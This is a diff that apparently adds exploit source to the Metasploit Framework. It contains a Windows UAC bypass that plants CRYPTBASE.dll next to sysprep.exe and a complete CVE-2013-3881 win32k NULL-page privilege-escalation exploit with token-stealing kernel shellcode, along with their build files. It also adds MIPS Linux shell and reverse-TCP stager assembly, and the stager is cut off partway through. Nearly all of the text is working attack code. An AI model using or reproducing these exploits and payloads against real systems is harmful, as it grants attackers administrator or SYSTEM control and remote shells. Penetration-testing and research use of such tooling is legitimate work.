<TargetMachine>MachineX64</TargetMachine>
</Link>
<PostBuildEvent>
<Command>
IF EXIST "..\..\..\..\..\data\post\" GOTO COPY
mkdir "..\..\..\..\..\data\post\"
:COPY
copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\post\"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="src\Exploit.cpp" />
<ClCompile Include="src\ReflectiveDll.c" />
<ClCompile Include="..\..\..\ReflectiveDLLInjection\dll\src\ReflectiveLoader.c" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="src\Exploit.h" />
<ClInclude Include="..\..\..\ReflectiveDLLInjection\common\ReflectiveDLLInjection.h" />
<ClInclude Include="..\..\..\ReflectiveDLLInjection\dll\src\ReflectiveLoader.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -0,0 +1,119 @@
#include "Exploit.h"
void exploit()
{
const wchar_t *szSysPrepDir = L"\\System32\\sysprep\\";
const wchar_t *szSysPrepDir_syswow64 = L"\\Sysnative\\sysprep\\";
const wchar_t *sySysPrepExe = L"sysprep.exe";
const wchar_t *szElevDll = L"CRYPTBASE.dll";
const wchar_t *szSourceDll = L"CRYPTBASE.dll";
wchar_t szElevDir[MAX_PATH] = {};
wchar_t szElevDir_syswow64[MAX_PATH] = {};
wchar_t szElevDllFull[MAX_PATH] = {};
wchar_t szElevDllFull_syswow64[MAX_PATH] = {};
wchar_t szElevExeFull[MAX_PATH] = {};
wchar_t path[MAX_PATH] = {};
wchar_t windir[MAX_PATH] = {};
const wchar_t *szElevArgs = L"";
const wchar_t *szEIFOMoniker = NULL;
PVOID OldValue = NULL;
IFileOperation *pFileOp = NULL;
IShellItem *pSHISource = 0;
IShellItem *pSHIDestination = 0;
IShellItem *pSHIDelete = 0;
const IID *pIID_EIFO = &__uuidof(IFileOperation);
const IID *pIID_EIFOClass = &__uuidof(FileOperation);
const IID *pIID_ShellItem2 = &__uuidof(IShellItem2);
GetWindowsDirectoryW(windir, MAX_PATH);
GetTempPathW(MAX_PATH, path);
/* %temp%\cryptbase.dll */
wcscat_s(path, MAX_PATH, szSourceDll);
/* %windir%\System32\sysprep\ */
wcscat_s(szElevDir, MAX_PATH, windir);
wcscat_s(szElevDir, MAX_PATH, szSysPrepDir);
/* %windir%\sysnative\sysprep\ */
wcscat_s(szElevDir_syswow64, MAX_PATH, windir);
wcscat_s(szElevDir_syswow64, MAX_PATH, szSysPrepDir_syswow64);
/* %windir\system32\sysprep\cryptbase.dll */
wcscat_s(szElevDllFull, MAX_PATH, szElevDir);
wcscat_s(szElevDllFull, MAX_PATH, szElevDll);
/* %windir\sysnative\sysprep\cryptbase.dll */
wcscat_s(szElevDllFull_syswow64, MAX_PATH, szElevDir_syswow64);
wcscat_s(szElevDllFull_syswow64, MAX_PATH, szElevDll);
/* %windir%\system32\sysprep\sysprep.exe */
wcscat_s(szElevExeFull, MAX_PATH, szElevDir);
wcscat_s(szElevExeFull, MAX_PATH, sySysPrepExe);
if (CoInitialize(NULL) == S_OK)
{
if (CoCreateInstance(*pIID_EIFOClass, NULL, CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER, *pIID_EIFO, (void**) &pFileOp) == S_OK)
{
if (pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION) == S_OK)
{
if (SHCreateItemFromParsingName((PCWSTR) path, NULL, *pIID_ShellItem2, (void**) &pSHISource) == S_OK)
{
if (SHCreateItemFromParsingName(szElevDir, NULL, *pIID_ShellItem2, (void**) &pSHIDestination) == S_OK)
{
if (pFileOp->CopyItem(pSHISource, pSHIDestination, szElevDll, NULL) == S_OK)
{
/* Copy the DLL file to the sysprep folder*/
if (pFileOp->PerformOperations() == S_OK)
{
/* Execute sysprep.exe */
SHELLEXECUTEINFOW shinfo;
ZeroMemory(&shinfo, sizeof(shinfo));
shinfo.cbSize = sizeof(shinfo);
shinfo.fMask = SEE_MASK_NOCLOSEPROCESS;
shinfo.lpFile = szElevExeFull;
shinfo.lpParameters = szElevArgs;
shinfo.lpDirectory = szElevDir;
shinfo.nShow = SW_HIDE;
Wow64DisableWow64FsRedirection(&OldValue);
if (ShellExecuteExW(&shinfo) && shinfo.hProcess != NULL)
{
WaitForSingleObject(shinfo.hProcess, 10000);
CloseHandle(shinfo.hProcess);
}
if (S_OK == SHCreateItemFromParsingName(szElevDllFull, NULL, *pIID_ShellItem2, (void**)&pSHIDelete))
{
if (0 != pSHIDelete)
{
if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL))
{
pFileOp->PerformOperations();
// If we fail to delete the file probably SYSWOW64 process so use SYSNATIVE to get the correct path
// DisableWOW64Redirect fails at this? Possibly due to how it interacts with UAC see:
// http://msdn.microsoft.com/en-us/library/windows/desktop/aa384187(v=vs.85).aspx
if (S_OK == SHCreateItemFromParsingName(szElevDllFull_syswow64, NULL, *pIID_ShellItem2, (void**)&pSHIDelete))
{
if (0 != pSHIDelete)
{
if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL))
{
pFileOp->PerformOperations();
}
}
}
}
}
}
}
}
}
}
}
}
}
}

View File

@ -0,0 +1,8 @@
#include <Windows.h>
#include <commctrl.h>
#include <shlobj.h>
#include <Shellapi.h>
#include <stdio.h>
#include <guiddef.h>
EXTERN_C void exploit();

View File

@ -0,0 +1,26 @@
#include "ReflectiveLoader.h"
#include "Exploit.h"
extern HINSTANCE hAppInstance;
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
{
BOOL bReturnValue = TRUE;
switch( dwReason )
{
case DLL_QUERY_HMODULE:
if( lpReserved != NULL )
*(HMODULE *)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
exploit();
ExitProcess(0);
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}

View File

@ -0,0 +1,38 @@
@ECHO OFF
IF "%VCINSTALLDIR%" == "" GOTO NEED_VS
IF "%1"=="x86" GOTO BUILD_X86
IF "%1"=="X86" GOTO BUILD_X86
IF "%1"=="x64" GOTO BUILD_X64
IF "%1"=="X64" GOTO BUILD_X64
ECHO "Building Exploits x64 and x86 (Release)"
SET PLAT=all
GOTO RUN
:BUILD_X86
ECHO "Building Exploits x86 (Release)"
SET PLAT=x86
GOTO RUN
:BUILD_X64
ECHO "Building Exploits x64 (Release)"
SET PLAT=x64
GOTO RUN
:RUN
ECHO "Building Bypass UAC Injection"
msbuild.exe make.msbuild /target:%PLAT%
FOR /F "usebackq tokens=1,2 delims==" %%i IN (`wmic os get LocalDateTime /VALUE 2^>NUL`) DO IF '.%%i.'=='.LocalDateTime.' SET LDT=%%j
SET LDT=%LDT:~0,4%-%LDT:~4,2%-%LDT:~6,2% %LDT:~8,2%:%LDT:~10,2%:%LDT:~12,6%
echo Finished %ldt%
GOTO :END
:NEED_VS
ECHO "This command must be executed from within a Visual Studio Command prompt."
ECHO "This can be found under Microsoft Visual Studio 2013 -> Visual Studio Tools"
:END

View File

@ -0,0 +1,19 @@
<?xml version="1.0" standalone="yes"?>
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup>
<SolutionPath>.\bypassuac_injection.sln</SolutionPath>
</PropertyGroup>
<Target Name="all" DependsOnTargets="x86;x64" />
<Target Name="x86">
<Message Text="Building Bypass UAC (Injection) Release version x86" />
<MSBuild Projects="$(SolutionPath)" Properties="Configuration=Release;Platform=Win32" Targets="Clean;Rebuild"/>
</Target>
<Target Name="x64">
<Message Text="Building Bypass UAC (Injection) Release version x64" />
<MSBuild Projects="$(SolutionPath)" Properties="Configuration=Release;Platform=x64" Targets="Clean;Rebuild"/>
</Target>
</Project>

View File

@ -0,0 +1,151 @@
## Ignore Visual Studio temporary files, build results, and
## files generated by popular Visual Studio add-ons.
# User-specific files
*.suo
*.user
*.sln.docstates
# Build results
[Dd]ebug/
[Rr]elease/
x64/
build/
[Bb]in/
[Oo]bj/
# Enable "build/" folder in the NuGet Packages folder since NuGet packages use it for MSBuild targets
!packages/*/build/
# MSTest test Results
[Tt]est[Rr]esult*/
[Bb]uild[Ll]og.*
*_i.c
*_p.c
*.ilk
*.meta
*.obj
*.pch
*.pdb
*.pgc
*.pgd
*.rsp
*.sbr
*.tlb
*.tli
*.tlh
*.tmp
*.tmp_proj
*.log
*.vspscc
*.vssscc
.builds
*.pidb
*.log
*.scc
# Visual C++ cache files
ipch/
*.aps
*.ncb
*.opensdf
*.sdf
*.cachefile
# Visual Studio profiler
*.psess
*.vsp
*.vspx
# Guidance Automation Toolkit
*.gpState
# ReSharper is a .NET coding add-in
_ReSharper*/
*.[Rr]e[Ss]harper
# TeamCity is a build add-in
_TeamCity*
# DotCover is a Code Coverage Tool
*.dotCover
# NCrunch
*.ncrunch*
.*crunch*.local.xml
# Installshield output folder
[Ee]xpress/
# DocProject is a documentation generator add-in
DocProject/buildhelp/
DocProject/Help/*.HxT
DocProject/Help/*.HxC
DocProject/Help/*.hhc
DocProject/Help/*.hhk
DocProject/Help/*.hhp
DocProject/Help/Html2
DocProject/Help/html
# Click-Once directory
publish/
# Publish Web Output
*.Publish.xml
*.pubxml
# NuGet Packages Directory
## TODO: If you have NuGet Package Restore enabled, uncomment the next line
#packages/
# Windows Azure Build Output
csx
*.build.csdef
# Windows Store app package directory
AppPackages/
# Others
sql/
*.Cache
ClientBin/
[Ss]tyle[Cc]op.*
~$*
*~
*.dbmdl
*.[Pp]ublish.xml
*.pfx
*.publishsettings
# RIA/Silverlight projects
Generated_Code/
# Backup & report files from converting an old project file to a newer
# Visual Studio version. Backup files are not needed, because we have git ;-)
_UpgradeReport_Files/
Backup*/
UpgradeLog*.XML
UpgradeLog*.htm
# SQL Server files
App_Data/*.mdf
App_Data/*.ldf
# =========================
# Windows detritus
# =========================
# Windows image file caches
Thumbs.db
ehthumbs.db
# Folder config file
Desktop.ini
# Recycle Bin used on file shares
$RECYCLE.BIN/
# Mac crap
.DS_Store

View File

@ -0,0 +1,20 @@

Microsoft Visual Studio Solution File, Format Version 11.00
# Visual Studio 2010
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cve-2013-3881", "cve-2013-3881\cve-2013-3881.vcxproj", "{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Win32 = Debug|Win32
Release|Win32 = Release|Win32
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Debug|Win32.ActiveCfg = Debug|Win32
{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Debug|Win32.Build.0 = Debug|Win32
{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Release|Win32.ActiveCfg = Release|Win32
{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Release|Win32.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

View File

@ -0,0 +1,261 @@
/*
* Exploit Title: CVE-2013-3881 Win32k NULL Page Vulnerability
* Date: February 5, 2014
* Vulnerability Discovery: Seth Gibson and Dan Zentner of Endgame
* Exploit Author: Spencer McIntyre
* Version: Windows 7 SP0/SP1
* Tested on: Windows 7 SP0/SP1
* CVE-2013-3881 MS13-081
* References:
* http://endgame.com/news/microsoft-win32k-null-page-vulnerability-technical-analysis.html
* http://immunityproducts.blogspot.com/2013/11/exploiting-cve-2013-3881-win32k-null.html
* http://picturoku.blogspot.com/2011/12/bit-away-from-kernel-execution.html
*/
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
// Purloined from ntstatus.h
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L) // ntsubauth
#define WIN32_NO_STATUS
#include <windows.h>
#undef WIN32_NO_STATUS
#ifndef _NTDEF_
typedef __success(return >= 0) LONG NTSTATUS;
typedef NTSTATUS *PNTSTATUS;
#endif
#define TABLE_BASE 0xff910000
static const char* window_class_name = "PWN_CLASS";
static HWND window0 = NULL;
static HWND window1 = NULL;
static HDESK desktop = NULL;
const unsigned char shellcode[] =
"\x33\xc0" // xor eax, eax
"\x64\x8b\x80\x24\x01\x00\x00" // mov eax, fs:[eax+0x124]
"\x8b\x40\x50" // mov eax, ds:[eax+0x50]
"\x8b\xc8" // mov ecx, eax
/* LOOPTHROUGHPROCESSES */
"\x8b\x80\xb8\x00\x00\x00" // mov eax, ds:[eax+0xb8]
"\x2d\xb8\x00\x00\x00" // sub eax, 0xb8
"\x83\xb8\xb4\x00\x00\x00\x04" // cmp DWORD PTR ds:[eax+0xb4], 4
"\x75\xec" // jnz short LOOPTHROUGHPROCESSES
"\x8b\x90\xf8\x00\x00\x00" // mov edx, ds:[eax+0x0f8]
"\x89\x91\xf8\x00\x00\x00" // mov [ecx+0x0f8], edx
/* Epilog Part 1: Uncorrupt HANDLEENTRY */
"\xbe\x00\x08\x00\x00" // mov esi, 0x0800
"\x8b\x3e" // mov edi, [esi]
"\x8b\x46\x04" // mov eax, [esi+4]
"\x89\x07" // mov [edi], eax
"\x8b\x46\x08" // mov eax, [esi+8]
"\x89\x47\x04" // mov [edi + 4], eax
"\x8b\x46\x0c" // mov eax, [esi+c]
"\x89\x47\x08" // mov [edi+8], eax
/* Epilog Part 2: Return to xxxTrackPopupMenuEx */
"\x83\x7c\x24\x58\x00" // cmp DWORD PTR [esp+0x58], 0
"\x74\x11" // je short sp1
"\x83\x7c\x24\x5c\x01" // cmp DWORD PTR [esp+0x5c], 1
"\x75\x0a" // je short sp1
/* Service Pack 0 */
"\x83\xc4\x48" // add esp, 0x48
"\x5f" // pop edi
"\x5e" // pop esi
"\x5b" // pop ebx
"\x5d" // pop ebp
"\xc2\x04\x00" // ret 4
/* Service Pack 1 */
"\x83\xc4\x4c" // add esp 0x4c
"\x5f" // pop edi
"\x5e" // pop esi
"\x83\xc4\x0c" // add esp, 0x0c
"\x5d" // pop ebp
"\xc2\x08\x00"; // ret 8
typedef struct _HANDLEENTRY {
struct _HEAD *pHead;
void *pOwner;
UINT8 bType;
UINT8 bFlags;
UINT16 wUniq;
} HANDLEENTRY, *PHANDLEENTRY;
typedef NTSTATUS (NTAPI *lNtAllocateVirtualMemory)(
IN HANDLE ProcessHandle,
IN PVOID *BaseAddress,
IN PULONG ZeroBits,
IN PSIZE_T RegionSize,
IN ULONG AllocationType,
IN ULONG Protect
);
typedef NTSTATUS (NTAPI *lNtQueryIntervalProfile)(
IN DWORD ProfileSource,
OUT PULONG Interval
);
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {
return DefWindowProc(hwnd, msg, wParam, lParam);
}
NTSTATUS AllocateNullPage(void) {
HMODULE hNtdll = NULL;
FARPROC pNtAllocateVirtualMemory = NULL;
DWORD base_address = 1;
SIZE_T region_size = 0x1000;
ULONG zero_bits = 0;
HANDLE current_process = NULL;
NTSTATUS status = 0;
hNtdll = LoadLibraryA("ntdll");
pNtAllocateVirtualMemory = (lNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
current_process = GetCurrentProcess();
status = pNtAllocateVirtualMemory(current_process, &base_address, 0, &region_size, (MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN), PAGE_EXECUTE_READWRITE);
FreeLibrary(hNtdll);
return status;
}
PHANDLEENTRY GetAheList(void) {
HMODULE hUser32 = NULL;
HANDLEENTRY **tagSharedInfo = NULL;
hUser32 = LoadLibraryA("user32");
tagSharedInfo = (PHANDLEENTRY *)GetProcAddress(hUser32, "gSharedInfo");
if (tagSharedInfo == NULL) {
return NULL;
}
return (PHANDLEENTRY)*&tagSharedInfo[1];
}
DWORD WINAPI TriggerThread0(void *garbage) {
HMENU menu0;
SetThreadDesktop(desktop);
window0 = CreateWindow(window_class_name, "Window 0", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 240, 120, NULL, NULL, NULL, NULL);
menu0 = CreatePopupMenu();
if (AppendMenu(menu0, (MF_STRING | MF_ENABLED), 32001, "test") == 0) {
return 0;
}
TrackPopupMenu(menu0, TPM_CENTERALIGN, 0, 0, 0, window0, NULL);
return 0;
}
BOOL WINAPI CreateAndRegisterClass(char * class_name) {
WNDCLASSEX wx;
HINSTANCE hInstance = NULL;
hInstance = (HINSTANCE)GetModuleHandle(NULL);
if (hInstance == NULL) {
return FALSE;
}
wx.cbSize = sizeof(WNDCLASSEX);
wx.style = 0;
wx.lpfnWndProc = WndProc;
wx.cbClsExtra = 0;
wx.cbWndExtra = 0;
wx.hInstance = hInstance;
wx.hIcon = LoadIcon(NULL, IDI_APPLICATION);
wx.hCursor = LoadCursor(NULL, IDC_ARROW);
wx.hbrBackground = (HBRUSH)(COLOR_WINDOW+1);
wx.lpszMenuName = NULL;
wx.lpszClassName = class_name;
wx.hIconSm = LoadIcon(NULL, IDI_APPLICATION);
if (RegisterClassEx(&wx) != 0) {
return TRUE;
}
return FALSE;
}
DWORD WINAPI ExecutePayload(LPVOID lpPayload) {
VOID(*lpCode)() = (VOID(*)())lpPayload;
lpCode();
return ERROR_SUCCESS;
}
void Win32kNullPage(LPVOID lpPayload) {
HMENU menu1 = NULL;
HMENU menu2 = NULL;
HANDLE gdi_handle = NULL;
void *promise_land = NULL;
ULONG interval = 0;
PHANDLEENTRY aheList = NULL;
PHANDLEENTRY target_handle = NULL;
DWORD saved_bytes = 0;
desktop = CreateDesktop("DontPanic", NULL, NULL, 0, GENERIC_ALL, NULL);
SetThreadDesktop(desktop);
if (!CreateAndRegisterClass(window_class_name)) {
return;
}
if (AllocateNullPage() != STATUS_SUCCESS) {
return;
}
*((PDWORD)promise_land + 0) = 0x000004eb; /* jmp 4 */
*((PDWORD)promise_land + 1) = 0x90909090; /* noooop */
*((PDWORD)promise_land + 2) = 0x000400b8; /* mov eax, 400 */
*((PDWORD)promise_land + 3) = 0x90d0ff00; /* call eax */
*((PDWORD)promise_land + 7) = 0x00;
*((PDWORD)promise_land + 9) = 0x00;
*((PDWORD)promise_land + 12) = 0x00;
*(PDWORD)((PBYTE)promise_land + 0x04eb + 0x04) = (0x0200 - 4);
*(PDWORD)((PBYTE)promise_land + 0x04eb + 0x08) = (0x0200 - 4);
memcpy((PDWORD)promise_land + 256, shellcode, sizeof(shellcode));
window1 = CreateWindow(window_class_name, "Window 1", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 240, 120, NULL, NULL, NULL, NULL);
menu1 = CreatePopupMenu();
menu2 = CreateMenu();
SetMenu(window1, menu2);
DestroyMenu(menu2);
aheList = GetAheList();
*((PDWORD)promise_land + 127) = ((DWORD)menu2 & 0xffff);
*((PDWORD)promise_land + 128) = 0x01;
*((PDWORD)promise_land + 129) = ((((DWORD)menu2 & 0xffff) * 12) + TABLE_BASE + 5) - 0x0104;
target_handle = &aheList[((DWORD)menu2 & 0xffff)];
*((PDWORD)promise_land + 512) = ((((DWORD)menu2 & 0xffff) * 12) + TABLE_BASE);
memcpy((PDWORD)promise_land + 513, target_handle, sizeof(HANDLEENTRY));
if (AppendMenu(menu1, (MF_STRING | MF_ENABLED), 32001, "test") == 0) {
return;
}
do {
gdi_handle = CreateMetaFile(NULL);
} while (gdi_handle != NULL);
CreateThread(NULL, 0, TriggerThread0, NULL, 0, 0);
Sleep(500);
TrackPopupMenu(menu1, TPM_CENTERALIGN, 0, 0, 0, window1, NULL);
CreateThread(0, 0, ExecutePayload, lpPayload, 0, NULL);
return;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) {
BOOL bReturnValue = TRUE;
switch (dwReason) {
case DLL_QUERY_HMODULE:
hAppInstance = hinstDLL;
if (lpReserved != NULL) {
*(HMODULE *)lpReserved = hAppInstance;
}
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
Win32kNullPage(lpReserved);
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
};

View File

@ -0,0 +1,85 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}</ProjectGuid>
<RootNamespace>cve20133881</RootNamespace>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<WholeProgramOptimization>false</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
<PlatformToolset>v120</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<WholeProgramOptimization>false</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
<PlatformToolset>v120</PlatformToolset>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<IncludePath>../../../ReflectiveDLLInjection/common;$(IncludePath)</IncludePath>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<IncludePath>../../../ReflectiveDLLInjection/common;$(IncludePath)</IncludePath>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<CompileAs>CompileAsC</CompileAs>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<OptimizeReferences>true</OptimizeReferences>
<OutputFile>$(OutDir)$(TargetName).$(ProcessorArchitecture)$(TargetExt)</OutputFile>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<CompileAs>CompileAsC</CompileAs>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<CompileAs>Default</CompileAs>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<GenerateDebugInformation>false</GenerateDebugInformation>
<OptimizeReferences>true</OptimizeReferences>
<OutputFile>$(OutDir)$(TargetName).$(ProcessorArchitecture)$(TargetExt)</OutputFile>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="cve-2013-3881.c" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -0,0 +1,17 @@
<?xml version="1.0" standalone="yes"?>
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup>
<SolutionPath>.\cve-2013-3881.sln</SolutionPath>
</PropertyGroup>
<Target Name="all" DependsOnTargets="x86" />
<Target Name="x86">
<Message Text="Building CVE-2013-3881 win32k_null_page x86 Release version" />
<MSBuild Projects="$(SolutionPath)" Properties="Configuration=Release;Platform=Win32" Targets="Clean;Rebuild"/>
</Target>
<Target Name="x64">
<Message Text="CVE-2013-3881 is not supported in x64" />
</Target>
</Project>

View File

@ -40,6 +40,27 @@ IF "%ERRORLEVEL%"=="0" (
POPD
)
IF "%ERRORLEVEL%"=="0" (
ECHO "Building CVE-2013-3881 (win32k_null_page)"
PUSHD CVE-2013-3881
msbuild.exe make.msbuild /target:%PLAT%
POPD
)
IF "%ERRORLEVEL%"=="0" (
ECHO "Building bypassuac (on-disk)"
PUSHD bypassuac
msbuild.exe make.msbuild /target:%PLAT%
POPD
)
IF "%ERRORLEVEL%"=="0" (
ECHO "Building bypassuac (in-memory)"
PUSHD bypassuac_injection
msbuild.exe make.msbuild /target:%PLAT%
POPD
)
FOR /F "usebackq tokens=1,2 delims==" %%i IN (`wmic os get LocalDateTime /VALUE 2^>NUL`) DO IF '.%%i.'=='.LocalDateTime.' SET LDT=%%j
SET LDT=%LDT:~0,4%-%LDT:~4,2%-%LDT:~6,2% %LDT:~8,2%:%LDT:~10,2%:%LDT:~12,6%
echo Finished %ldt%

View File

@ -0,0 +1,75 @@
##
#
# Name: stage_tcp_shell
# Type: Stage
# Qualities: Compatible with both mips little and big endian
# Platforms: Linux
# Authors: juan vazquez <juan.vazquez [at] metasploit.com>
# License:
#
# This file is part of the Metasploit Exploit Framework
# and is subject to the same licenses and copyrights as
# the rest of this package.
#
# Description:
#
# This payload duplicates stdio, stdin and stderr to a file descriptor,
# stored on $s2, and executes /bin/sh.
#
# Assemble and create a relocatable object with:
# as -o stage_tcp_shell.o stage_tcp_shell.s
#
# Assemble, link and create an executable ELF with:
# gcc -o stage_tcp_shell stage_tcp_shell.s
#
# The tool "tools/metasm_shell.rb" can be used to easily
# generate the string to place on:
# modules/payloads/stages/linux/mipsle/shell.rb
# and:
# modules/payloads/stages/linux/mipsbe/shell.rb
##
.text
.align 2
.globl main
.set nomips16
main:
.set noreorder
.set nomacro
# dup2(sockfd, 2)
# dup2(sockfd, 1)
# dup2(sockfd, 0)
# a0: oldfd (sockfd)
# a1: newfd (2, 1, 0)
# v0: syscall = __NR_dup2 (4063)
li $s1, -3
nor $s1, $s1, $zero
add $a0, $s2, $zero
dup2_loop:
add $a1, $s1, $zero # dup2_loop
li $v0, 4063 # sys_dup2
syscall 0x40404
li $s0, -1
addi $s1, $s1, -1
bne $s1, $s0, dup2_loop # <dup2_loop>
# execve("/bin/sh", ["/bin/sh"], NULL)
# a0: filename "/bin/sh"
# a1: argv ["/bin/sh", NULL]
# a2: envp NULL
# v0: syscall = __NR_dup2 (4011)
li $t8, -1 # load t8 with -1
getaddr: # getaddr trick from scut@team-teso.net
bltzal $t8, getaddr # branch with $ra stored if t8 < 0
slti $t8, $zero, -1 # delay slot instr: $t8 = 0 (see below)
addi $a0, $ra, 28 # $ra gets this address
sw $a0, -8($sp)
sw $zero, -4($sp)
addi $a1, $sp, -8
slti $a2, $zero,-1
li $v0, 4011 # sys_execve
syscall 0x40404
.string "/bin/sh"
.set macro
.set reorder

View File

@ -0,0 +1,127 @@
##
#
# Name: stager_sock_reverse
# Type: Stager
# Qualities: No Nulls out of the IP / Port data
# Platforms: Linux MIPS Big Endian
# Authors: juan vazquez <juan.vazquez [at] metasploit.com>
# License:
#
# This file is part of the Metasploit Exploit Framework
# and is subject to the same licenses and copyrights as
# the rest of this package.
#
# Description:
#
# Implementation of a MIPS BE Linux reverse TCP stager.
#
# File descriptor in $s2.
#
# Assemble and create a relocatable object with:
# as -o stager_sock_reverse.o stager_sock_reverse.s
#
# Assemble, link and create an executable ELF with:
# gcc -o stager_sock_reverse stager_sock_reverse.s
#
# The tool "tools/metasm_shell.rb" can be used to easily
# generate the string to place on:
# modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb
##
.text
.align 2
.globl main
.set nomips16
main:
.set noreorder
.set nomacro
# socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
# a0: domain = PF_INET (2)
# a1: type = SOCK_STREAM (2)
# a2: protocol = IPPROTO_IP (0)
# v0: syscall = __NR_socket (4183)
li $t7, -6
nor $t7, $t7, $zero
addi $a0, $t7, -3
addi $a1, $t7, -3
slti $a2, $zero, -1
li $v0, 4183
syscall 0x40404
sw $v0, -4($sp) # store the file descriptor for the socket on the stack
# connect(sockfd, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("192.168.172.1")}, 16)
# a0: sockfd
# a1: addr = AF_INET (2)
# a2: addrlen = 16
